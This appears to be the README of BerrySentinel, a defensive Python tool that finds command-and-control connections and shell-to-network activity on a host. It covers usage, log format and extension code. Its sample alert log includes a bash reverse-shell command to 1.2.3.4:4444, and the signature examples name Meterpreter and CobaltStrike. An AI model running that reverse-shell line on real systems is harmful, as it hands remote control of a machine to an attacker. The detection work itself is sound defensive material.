╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo                                 ║
║  Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    REMOTO                ESTADO  FIRMAS/TAGS                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █CRÍTICO  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲ALTO     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

# Clonar el repositorio
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (Opcional pero recomendado) instalar psutil
pip install psutil

# Ejecutar
python3 BerrySentinel.py

pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses puede no estar disponible en Termux

curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

python3 BerrySentinel.py [옵션]

옵션:
  --all, -a           로컬/루프백 연결 포함 (원격 외에도)
  --interval N, -i N  N초마다 새로고침 (기본값: 2, 최소: 0.5)
  --log FILE, -l FILE 경고를 파일에 저장 (JSONL 형식)
  --json, -j          종료 시 전체 JSON 내보내기
  --whitelist LISTA   무시할 IP 또는 CIDR 목록 (쉼표로 구분)
  --no-color          ANSI 색상 없음 (파이프 또는 로그에 유용)
  --verbose, -v       의심스러운 연결뿐만 아니라 모든 연결 표시
  --top N, -t N       테이블의 최대 행 수 (기본값: 50)
  --diag, -d          진단: 작동하는 수집 방법 표시
  --no-tui            curses 없는 레거시 모드 (클래식 스크롤, 이식성 높음)
  --version, -V       버전 표시 후 종료

# 대화형 TUI — 권장 모드
python3 BerrySentinel.py

# root 권한으로 심층 스캔 (프로세스 메모리 접근)
sudo python3 BerrySentinel.py --all

# 경고 저장 및 종료 시 JSON 내보내기
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# 내부 네트워크 무시 및 5초마다 새로고침
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# 스크립트 또는 대화형 터미널 없는 SSH에서 사용할 텍스트 모드
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# 현재 시스템에서 작동하는 수집 방법 확인
python3 BerrySentinel.py --diag --no-tui

# 심각한 경고만, 10초마다 업데이트, 로그 저장
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

# 치명적인 연결만 필터링
jq 'select(.sev == "CRÍTICO")' sentinel.log

# 모든 의심스러운 PID 보기
jq '[.pid] | unique' sentinel_export.json

# 특정 시그니처 검색
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

BerrySentinel.py
├── 전역 상수
│   ├── SHELL_BINS, SCRIPT_ENGINES  — 셸 및 인터프리터 이름
│   ├── C2_SUSPECT_PORTS            — 일반적인 C2 포트
│   ├── PRIVATE_NETS                — 사설 IP 범위
│   └── C2_SIGNATURES               — 알려진 프레임워크 시그니처
│
├── 데이터 모델
│   ├── C2Signature   — C2 시그니처 정의
│   ├── ProcInfo      — OS 프로세스 정보
│   ├── Conn          — 네트워크 연결 + 분석 결과
│   └── BeaconTracker — C2 비콘 탐지기
│
├── 데이터 수집
│   ├── Collector     — 여러 네트워크 소스 오케스트레이션
│   ├── parse_proc_net_content() — /proc/net/* 파서
│   ├── build_inode_pid_map()    — inode→PID 맵
│   ├── get_proc_info()          — /proc를 통한 프로세스 정보
│   └── get_proc_info_psutil()   — psutil을 통한 프로세스 정보
│
├── 분석
│   ├── Engine.analyze()    — 행동 점수 + 태그
│   ├── Engine._beacon()    — 비콘 탐지
│   └── match_signatures()  — C2 시그니처 매칭
│
├── 출력
│   ├── CursesTUI   — 대화형 TUI (기본 모드)
│   ├── LegacyTUI   — curses 없는 ANSI 출력 (대체)
│   └── Logger      — 디스크에 JSONL 로그
│
└── Sentinel        — 메인 오케스트레이터

from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="승인되지 않은 회사 내부 RAT",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[경고] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"점수={conn.score:.0f} 태그={conn.tags}")

from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # 사용자 정의 로직 추가
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c